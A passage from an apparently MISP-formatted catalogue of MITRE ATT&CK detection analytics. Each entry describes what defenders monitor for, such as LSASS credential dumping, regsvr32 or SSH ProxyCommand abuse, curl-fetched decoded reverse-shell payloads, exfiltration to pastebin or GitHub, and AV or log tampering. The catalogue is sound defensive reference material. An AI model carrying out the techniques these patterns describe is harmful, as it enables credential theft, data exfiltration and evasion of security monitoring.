such as malformed fields in logon events, TGS requests without interaction with the KDC, and access attempts using service accounts outside expected hosts/resources. Also monitors suspicious processes accessing LSASS memory for credential dumping.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0675 - AN0675"*

Table 7033. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0241#AN0675

Analytic 0576 - AN0576

Cause→effect chain: (1) A user or service launches an indirection utility (e.g., forfiles.exe, pcalua.exe, wsl.exe, scriptrunner.exe, ssh.exe with -o ProxyCommand/LocalCommand). (2) That utility spawns a secondary program/command (PowerShell, cmd, msiexec, regsvr32, curl, arbitrary EXE) and/or opens outbound network connections. (3) Optional precursor modification of SSH config to persist LocalCommand/ProxyCommand. Correlate process creation, command/script content, file access to %USERPROFILE%\.ssh\config, and network connections from the utility or its child.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0576 - AN0576"*

Table 7034. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0200#AN0576

Analytic 0856 - AN0856

Correlated file access to insecure credential files (e.g., *.env, *.xml, *.ps1) followed by suspicious process execution or authentication using retrieved credentials. Detected through Sysmon logs and Windows Security Event logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0856 - AN0856"*

Table 7035. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0307#AN0856

Analytic 0568 - AN0568

A non-standard process (or script-hosted process) loads camera/video-capture libraries (e.g., avicap32.dll, mf.dll, ksproxy.ax), opens the Camera Frame Server/device, writes video/image artifacts (e.g., .mp4/.avi/.yuv) to unusual locations, and optionally initiates outbound transfer shortly after.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0568 - AN0568"*

Table 7036. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0197#AN0568

Analytic 0865 - AN0865

Detects unauthorized additions of users or machine accounts to privileged local or domain groups (e.g., Administrators, Remote Desktop Users).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0865 - AN0865"*

Table 7037. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0310#AN0865

Analytic 0586 - AN0586

Adversary launches high-entropy process or malformed app bundle causing repeated application crashes and system slowdowns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0586 - AN0586"*

Table 7038. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0208#AN0586

Analytic 0685 - AN0685

Monitor Facetime, iMessage, or SIP client logs for anomalous voice call attempts. Link to subsequent user execution events (downloads, RMM installs) triggered post-call.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0685 - AN0685"*

Table 7039. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0245#AN0685

Analytic 0658 - AN0658

Detection of modified or newly created /etc/rc.local or /etc/init.d scripts followed by suspicious execution during system startup.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0658 - AN0658"*

Table 7040. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0237#AN0658

Analytic 0596 - AN0596

Adversary uses a process to establish outbound connections that transmit uniform packet sizes at a consistent interval, avoiding threshold-based network alerts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0596 - AN0596"*

Table 7041. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0213#AN0596

Analytic 0956 - AN0956

Token replay or impersonation in federated logins without interactive browser session or MFA prompts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0956 - AN0956"*

Table 7042. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0338#AN0956

Analytic 0965 - AN0965

Detection of clipboard access via OS utilities (e.g., clip.exe, Get-Clipboard) by non-interactive or abnormal parent processes, potentially chained with staging or exfiltration commands.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0965 - AN0965"*

Table 7043. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0341#AN0965

Analytic 0659 - AN0659

Detection of edits or additions to /etc/rc.common, /Library/StartupItems, or /System/Library/StartupItems and associated script execution during login or reboot.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0659 - AN0659"*

Table 7044. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0237#AN0659

Analytic 0695 - AN0695

Detects adversarial use of cloud-native APIs (e.g., AWS IAM, Azure RBAC, GCP Identity) to enumerate cloud group memberships or policy mappings via unauthorized sessions or scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0695 - AN0695"*

Table 7045. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0251#AN0695

Analytic 0569 - AN0569

A process opens/reads /dev/video* (V4L2), performs ioctl/read loops, writes large/continuous video artifacts to disk, and/or quickly establishes outbound connections for exfiltration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0569 - AN0569"*

Table 7046. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0197#AN0569

Analytic 0775 - AN0775

Detection of writes to /boot or EFI directories outside of expected package manager updates. Monitoring kernel log and auditd events for attempts to overwrite bootloader binaries (e.g., grub, shim). Unexpected execution of efibootmgr or dd writing to /dev/sdX devices followed by boot parameter changes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0775 - AN0775"*

Table 7047. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0278#AN0775

Analytic 0757 - AN0757

Detects anomalous process access to LSASS on domain controllers, suspicious module loads of

authentication DLLs, and registry or file modifications indicative of Skeleton Key–style patching. Correlates LSASS access attempts with subsequent abnormal logon activity patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0757 - AN0757"*

Table 7048. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0271#AN0757

Analytic 0577 - AN0577

DLL hijacking behaviors including unexpected DLL loads from non-standard directories, replacement of DLLs, phantom DLL insertion, redirection file creation, and substitution of legitimate DLLs. Defender correlates file system modifications, registry changes, and module load telemetry to detect abnormal DLL behavior in trusted processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0577 - AN0577"*

Table 7049. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0201#AN0577

Analytic 0758 - AN0758

Detects unauthorized modification of network device authentication by correlating OS image file changes, checksum mismatches, or memory verification failures with anomalous authentication events. Focus is on behaviors where patched images introduce hardcoded passwords or bypass native authentication.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0758 - AN0758"*

Table 7050. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0272#AN0758

Analytic 0587 - AN0587

Instance enters degraded/unhealthy state due to abnormal process load or memory exhaustion, often caused by automation or script-based attacks.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0587 - AN0587"*

Table 7051. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0208#AN0587

Analytic 0785 - AN0785

Detection focuses on identifying anomalous regsvr32.exe executions that deviate from normal administrative or system use. Defenders may observe regsvr32.exe loading scriptlets or DLLs from unusual paths (especially temporary directories or remote URLs), command-line arguments invoking /i or /u with suspicious file references, network connections initiated by regsvr32.exe, and unsigned or untrusted DLLs being loaded shortly after regsvr32.exe invocation. Correlated sequences include regsvr32.exe process creation, module load of DLL/scriptlet, and optional outbound network traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0785 - AN0785"*

Table 7052. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0282#AN0785

Analytic 0578 - AN0578

Detects interactive or scripted abuse of cmd.exe, batch files, or shell invocation chains. Focuses on parent-child relationships (e.g., cmd.exe launched from unusual parents), anomalous command-line parameters, and chaining with discovery, credential access, or lateral movement behaviors.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0578 - AN0578"*

Table 7053. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0202#AN0578

Analytic 0857 - AN0857

File reads or process executions involving insecurely stored credential files (e.g., config files with password fields) by non-root or anomalous users followed by ssh authentication attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0857 - AN0857"*

Table 7054. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0307#AN0857

Analytic 0875 - AN0875

Detects suspicious execution of network monitoring tools (e.g., Wireshark, tshark, Microsoft Message Analyzer), driver loading indicative of promiscuous mode, or non-admin user privilege escalation to access NICs for capture.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0875 - AN0875"*

Table 7055. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0314#AN0875

Analytic 0975 - AN0975

Correlate registry modifications (e.g., UAC bypass registry keys), unusual parent-child process relationships (e.g., control.exe spawning cmd.exe), and unsigned elevated process executions with non-standard tokens or elevation flags.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0975 - AN0975"*

Table 7056. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0345#AN0975

Analytic 0795 - AN0795

Monitor SaaS mail platforms (Google Workspace, M365, Okta-integrated apps) for SendAs/SendOnBehalfOf operations where the delegated permissions are unusual or newly granted. Detect impersonation attempts where adversaries configure rules to auto-forward or auto-reply with impersonated content.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0795 - AN0795"*

Table 7057. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0286#AN0795

Analytic 0597 - AN0597

Outbound connections from non-network-facing processes repeatedly send similarly sized payloads within uniform time intervals.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0597 - AN0597"*

Table 7058. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0213#AN0597

Analytic 0957 - AN0957

Unusual reuse of OAuth access tokens from different geographic regions, without full login events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0957 - AN0957"*

Table 7059. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0338#AN0957

Analytic 0759 - AN0759

Processes that normally do not initiate network connections establishing outbound encrypted TLS/SSL sessions, especially with asymmetric traffic volumes (client sending more than receiving) or non-standard certificate chains. Defender observations correlate process creation with unexpected network encryption libraries being loaded.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0759 - AN0759"*

Table 7060. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0273#AN0759

Analytic 0579 - AN0579

Detects ptrace-based process injection by correlating audit logs of ptrace syscalls, memory modifications (e.g., poketext, pokedata), and suspicious register manipulation on a target process not normally debugged by the originator. Alerts on processes attempting to ptrace non-child or privileged processes, especially those followed by abnormal memory or execution behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0579 - AN0579"*

Table 7061. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0203#AN0579

Analytic 0588 - AN0588

Container orchestrator logs show crashlooping pods, repeated resource exhaustion, or malicious binaries with infinite loops consuming systemd/cgroup limits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0588 - AN0588"*

Table 7062. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0208#AN0588

Analytic 0885 - AN0885

Execution of CLI commands erasing file systems or storage (erase flash:, format disk, erase nvram:). Detect authentication events followed by destructive commands within the same privileged session.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0885 - AN0885"*

Table 7063. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0316#AN0885

Analytic 0858 - AN0858

Terminal-based grep or open of plist/config files containing credentials, correlated with Keychain or system login attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0858 - AN0858"*

Table 7064. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0307#AN0858

Analytic 0958 - AN0958

Container process uses mounted cloud credentials or token cache to authenticate without known orchestration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0958 - AN0958"*

Table 7065. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0338#AN0958

Analytic 0985 - AN0985

Detects binaries or launch daemons in /System/Library or /Applications with mismatched bundle names, unexpected metadata, or improper installation origin.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0985 - AN0985"*

Table 7066. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0347#AN0985

Analytic 0895 - AN0895

Processes such as PowerShell, Git, or curl initiating outbound HTTPS POST requests to known code repository APIs (e.g., github.com, gitlab.com) immediately following large file reads. Defender view: correlation between file access of sensitive directories (e.g., Documents, Finance) and abnormal data uploads to repository domains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0895 - AN0895"*

Table 7067. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0318#AN0895

Analytic 0589 - AN0589

Registry read access associated with suspicious or non-interactive processes querying system config, installed software, or security settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0589 - AN0589"*

Table 7068. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0209#AN0589

Analytic 0859 - AN0859

Container processes accessing mounted secrets or configuration paths (e.g., /run/secrets, /mnt/config) followed by network access or credential use.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0859 - AN0859"*

Table 7069. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0307#AN0859

Analytic 0598 - AN0598

Processes on macOS initiate external connections that consistently transmit data in fixed sizes using LaunchAgents or unexpected users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0598 - AN0598"*

Table 7070. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0213#AN0598

Analytic 0959 - AN0959

Access token reuse to connect to SharePoint or Outlook APIs without interactive user context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0959 - AN0959"*

Table 7071. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0338#AN0959

Analytic 0599 - AN0599

Detection of executables or scripts containing hidden embedded resources or secondary payloads, often with anomalies in file size vs. functionality or dropped child binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0599 - AN0599"*

Table 7072. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0214#AN0599

Analytic 0995 - AN0995

Detection of processes launching downgraded PowerShell versions (e.g., v2) or other legacy binaries that lack logging or security features. Correlates command-line arguments, process metadata, and version fields. Monitors registry changes to Defender or HVCI keys that could indicate intentional downgrades.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0995 - AN0995"*

Table 7073. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0350#AN0995

Analytic 0666 - AN0666

Adversary uses compromised instance credentials or web application access to deface content hosted in S3 buckets, Azure Blob Storage, or GCP Buckets.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0666 - AN0666"*

Table 7074. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0238#AN0666

Analytic 0676 - AN0676

Unusual database command-line access (e.g., `psql`, `mysql`, `mongo`) from non-admin users, occurring outside typical automation windows or without known service context. Often followed by data dumps to .sql/.csv files or outbound data transfers. Defender sees CLI tools launched interactively or by unusual parent processes, file writes to dump-like filenames, and external connections shortly after.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0676 - AN0676"*

Table 7075. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0242#AN0676

Analytic 0667 - AN0667

Correlates registry modifications to EventLog or WMI Autologger keys, suspicious use of Set-EtwTraceProvider, and Sysmon configuration changes. Defender sees interruption or redirection of ETW and log event collection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0667 - AN0667"*

Table 7076. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0239#AN0667

Analytic 0766 - AN0766

Observes creation or modification of LaunchAgent/LaunchDaemon property list files combined with anomalous plist payload execution after user logon

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0766 - AN0766"*

Table 7077. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0274#AN0766

Analytic 0686 - AN0686

Correlate MFA push fatigue or unusual consent grant attempts with call activity where adversaries may have socially engineered the user over voice.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0686 - AN0686"*

Table 7078. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0245#AN0686

Analytic 0668 - AN0668

Detects disabling or reconfiguration of syslog or rsyslog services. Monitors sudden stops in logging daemons and suspicious execution of kill or service stop commands targeting syslog processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0668 - AN0668"*

Table 7079. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0239#AN0668

Analytic 0866 - AN0866

Detects unexpected use of usermod, gpasswd, or direct modification of /etc/group to elevate user group membership.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0866 - AN0866"*

Table 7080. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0310#AN0866

Analytic 0966 - AN0966

Detection of pbpaste/pbcopy clipboard access by processes without terminal sessions or linked to launch agents, potentially staged for collection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0966 - AN0966"*

Table 7081. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0341#AN0966

Analytic 0669 - AN0669

Detection of tampering with Apple's Unified Logging framework or modification of system log forwarding settings. Defender observes execution of logd-related commands or defaults write to logging preferences.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0669 - AN0669"*

Table 7082. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0239#AN0669

Analytic 0696 - AN0696

Identifies unauthorized access or enumeration of administrative roles, security groups, or distribution groups via Exchange/SharePoint/Teams APIs or role discovery scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0696 - AN0696"*

Table 7083. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0251#AN0696

Analytic 0776 - AN0776

Abnormal modification of EFI firmware binaries in /System/Library/CoreServices/ or NVRAM parameters not associated with OS updates. Unified logs capturing calls to bless or nvram commands executed from untrusted parent processes. Sudden unsigned kext loads after EFI variable tampering.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0776 - AN0776"*

Table 7084. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0278#AN0776

Analytic 0767 - AN0767

An adversary leverages built-in tools such as certutil.exe, powershell.exe, or copy.exe to decode, reassemble, or extract hidden malicious content from obfuscated containers or encoded formats. The decoding utility often spawns shortly after file staging or download and may be chained with script interpreters or further payload execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0767 - AN0767"*

Table 7085. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0275#AN0767

Analytic 0677 - AN0677

Database client execution (e.g., sqlcmd.exe, isql.exe) by users or from locations not tied to enterprise automation or backups. Often followed by creation of .sql/.bak/.csv files, registry artifacts for ODBC/JDBC drivers, or encrypted ZIPs. Defender sees SQL tools launched by explorer.exe, Powershell, or odd parent processes, plus file writes in user temp locations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0677 - AN0677"*

Table 7086. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0242#AN0677

Analytic 0876 - AN0876

Correlates interface mode changes to promiscuous with execution of sniffing tools like tcpdump, tshark, or custom pcap libraries. Detects abnormal NIC configurations and unauthorized sniffing from non-root sessions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0876 - AN0876"*

Table 7087. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0314#AN0876

Analytic 0867 - AN0867

Detects use of `dseditgroup` or `dscl` to add users to privileged macOS groups (e.g., admin).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0867 - AN0867"*

Table 7088. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0310#AN0867

Analytic 0678 - AN0678

Execution of Java-based or CLI database tools (e.g., DBeaver, Beekeeper, mysql, psql) from user profiles not tied to dev/admin roles, especially when followed by file writes and cloud sync activity. Defender correlates GUI tool launches, file write events in ~/Downloads or ~/Documents, and outbound API calls to known cloud services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0678 - AN0678"*

Table 7089. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0242#AN0678

Analytic 0687 - AN0687

Behavior chain involving unexpected API calls to capture keyboard input, driver loads for keyloggers, or remote use of smart card authentication via logon sessions not initiated by local user interaction

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0687 - AN0687"*

Table 7090. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0246#AN0687

Analytic 0768 - AN0768

The adversary uses native utilities like base64, gzip, tar, or openssl to decode, decompress, or decrypt files that were previously staged or downloaded. These tools may be chained with curl/wget and executed via bash/zsh, often to extract an embedded payload or reverse shell script.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0768 - AN0768"*

Table 7091. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0275#AN0768

Analytic 0786 - AN0786

Detection of suspicious token manipulation chains: use of token-related APIs (e.g., LogonUser, DuplicateTokenEx) or commands (runas) → spawning of a new process under a different security context (e.g., SYSTEM) → mismatched parent-child process lineage or anomalies in Event Tracing for Windows (ETW) token/PPID data → abnormal lateral or privilege escalation activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0786 - AN0786"*

Table 7092. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0283#AN0786

Analytic 0769 - AN0769

The adversary invokes built-in scripting or decoding tools like base64, plutil, or AppleScript-based utilities to decode files embedded in staging artifacts. Decoding often occurs post-download or as

part of post-exploitation payload deployment via zsh, python, or osascript.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0769 - AN0769"*

Table 7093. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0275#AN0769

Analytic 0679 - AN0679

Database enumeration and export activity (e.g., `SELECT * FROM`, `SHOW DATABASES`) issued via ephemeral VMs, admin APIs, or cloud shell from non-monitoring accounts. Defender correlates audit logs (CloudTrail, GCP Admin, AzureDiagnostics), storage write ops, and cross-region transfers by identities not tied to DB operations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0679 - AN0679"*

Table 7094. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0242#AN0679

Analytic 0796 - AN0796

Monitor Office Suite applications (Outlook, Word mail merge, Excel macros) for abnormal automated message sending, especially when macros or scripts trigger email delivery. Detect patterns of impersonation language (urgent, payment, executive request) combined with anomalous execution of Office macros.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0796 - AN0796"*

Table 7095. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0286#AN0796

Analytic 0697 - AN0697

Monitors API calls and service-specific logs for enumeration of organizational roles, permissions, and group structure, particularly outside of normal admin behavior baselines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0697 - AN0697"*

Table 7096. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0251#AN0697

Analytic 0976 - AN0976

Monitor audit logs for setuid/setgid bit changes, executions where UID ≠ EUID (indicative of sudo or privilege escalation), and high-integrity binaries launched by unprivileged users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0976 - AN0976"*

Table 7097. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0345#AN0976

Analytic 0967 - AN0967

Detection of xclip or xsel access to clipboard buffers outside of user terminal context, especially when chained to staging (gzip, base64) or network exfiltration (curl, scp).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0967 - AN0967"*

Table 7098. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0341#AN0967

Analytic 0868 - AN0868

Detection of inconsistencies between reported sensor health and actual process/service state. For example, Windows Defender tray icon/UI showing healthy status while corresponding Defender services (WinDefend, MsMpEng) are stopped or disabled. Correlates process creation events with missing or terminated security processes and spoofed health events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0868 - AN0868"*

Table 7099. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0311#AN0868

Analytic 0688 - AN0688

Detection of unauthorized keylogger behavior through access to `/dev/input`, loading kernel modules (e.g., via insmod), or polling user input devices from non-user shells

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0688 - AN0688"*

Table 7100. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0246#AN0688

Analytic 0886 - AN0886

Unusual service stop events, termination of AV/EDR processes, registry modifications disabling security tools, and firewall/defender configuration changes. Correlate process creation with service stop requests and registry edits.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0886 - AN0886"*

Table 7101. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317#AN0886

Analytic 0698 - AN0698

User-initiated installation of Python (pip), NodeJS (npm), or other language libraries, followed by unexpected network connections, credential access, or startup file modifications. Defender sees `pip install` or `npm install` commands run by a non-root user, followed shortly by new `.py`, `.sh`, or `.js` files in hidden directories, or interpreter-based execution during boot/login.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0698 - AN0698"*

Table 7102. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0252#AN0698

Analytic 0968 - AN0968

Execution of hh.exe to open a .chm file followed by suspicious child processes or script engine invocation (VBScript, JScript, mshta, powershell). Behavior includes loading a CHM file from untrusted locations, or immediately spawning commands indicative of payload execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0968 - AN0968"*

Table 7103. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0342#AN0968

Analytic 0689 - AN0689

Processes accessing TCC-protected input APIs or polling HID services without user interaction, or dynamically loaded keylogging frameworks using accessibility privileges

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0689 - AN0689"*

Table 7104. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0246#AN0689

Analytic 0896 - AN0896

Processes like git, curl, or python scripts executing commands that package files (tar, gzip) followed by HTTPS uploads to code repository endpoints. Defender view: detect unusual git push activity or scripted HTTPS requests outside normal developer work hours.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0896 - AN0896"*

Table 7105. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0318#AN0896

Analytic 0986 - AN0986

Detects malicious containers or pods using names, labels, or namespaces that mimic legitimate workloads; also checks for image layer mismatches and unauthorized resource deployments.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0986 - AN0986"*

Table 7106. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0347#AN0986

Analytic 0869 - AN0869

Monitoring for discrepancies between system daemon/service state and reported health messages (e.g., syslog shows AV/IDS daemon stopped, but spoofed messages claim it is still running). Detects userland processes impersonating AV/IDS command-line outputs or modifying log forwarding configurations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0869 - AN0869"*

Table 7107. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0311#AN0869

Analytic 0699 - AN0699

Execution of `pip.exe`, `npm.cmd`, or MSI installers within user context, followed by script interpreter startup (e.g., python.exe) or PowerShell with unusual child processes or file writes in `%APPDATA%`,

`%TEMP%`, or `%LOCALAPPDATA%`. Defender correlates command-line install tools with Sysmon and Event Logs to trace downstream behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0699 - AN0699"*

Table 7108. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0252#AN0699

Analytic 0969 - AN0969

High-volume packet generation by local processes (e.g., PowerShell, cmd, curl.exe) or network service processes resulting in excessive outbound traffic over short time window, correlated with abnormal resource usage or degraded host responsiveness.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0969 - AN0969"*

Table 7109. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0343#AN0969

Analytic 0996 - AN0996

Monitors execution of older or legacy interpreters (e.g., python2, bash with restricted history logging), downgrade of TLS/SSL configurations, or forced fallback to unencrypted protocols. Detects suspicious reconfiguration of kernel modules or boot loaders to reduce integrity controls.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0996 - AN0996"*

Table 7110. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0350#AN0996

Analytic 0777 - AN0777

Unexpected firmware image uploads via TFTP/FTP/SCP. Configuration changes modifying boot image pointers. Logs showing boot variable redirection to non-standard images. Anomalous reboots immediately following firmware changes not tied to patch schedules.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0777 - AN0777"*

Table 7111. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0278#AN0777

Analytic 0877 - AN0877

Detects enabling of interface sniffing via packet capture tools or AppleScript triggering `tcpdump`. Leverages Unified Logs and process lineage to identify suspicious use of `pfctl`, `tcpdump`, or `libpcap` libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0877 - AN0877"*

Table 7112. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0314#AN0877

Analytic 0787 - AN0787

Unexpected processes (e.g., powershell.exe, wscript.exe, office apps) initiating HTTP POST/PUT requests to text storage domains like pastebin.com or hastebin.com, particularly when preceded by file access in sensitive directories. Defender perspective: correlation of process lineage, large clipboard/file read operations, and outbound uploads to text storage services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0787 - AN0787"*

Table 7113. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0284#AN0787

Analytic 0778 - AN0778

Monitor for abnormal creation or modification of Windows services (e.g., via sc.exe, PowerShell, or API calls) that load non-standard executables. Correlate registry changes in service keys with service creation events and process execution to detect service abuse for persistence or execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0778 - AN0778"*

Table 7114. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0279#AN0778

Analytic 0797 - AN0797

Cause→effect chain: (1) A client app (browser, Office, PDF/Flash/reader) experiences a crash/abnormal exit or loads from an unusual location, then (2) drops or modifies a file in user-writable paths, and/or (3) spawns an unexpected child (e.g., powershell/cmd/mshta/rundll32/wscript/installer), and (4) establishes outbound C2-like connections shortly after. Correlate application logs, file writes, process lineage, and network egress within a short window.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0797 - AN0797"*

Table 7115. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0287#AN0797

Analytic 0779 - AN0779

Detect unusual invocations of systemctl, service, or init scripts creating or modifying daemons. Monitor audit logs for execution of binaries from unexpected paths linked to service start/stop activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0779 - AN0779"*

Table 7116. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0279#AN0779

Analytic 0977 - AN0977

Detect execution of `/usr/libexec/security_authtrampoline` or use of AuthorizationExecuteWithPrivileges API, and monitor process lineage for unusual launches of GUI apps with escalated privileges.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0977 - AN0977"*

Table 7117. Table References

Links
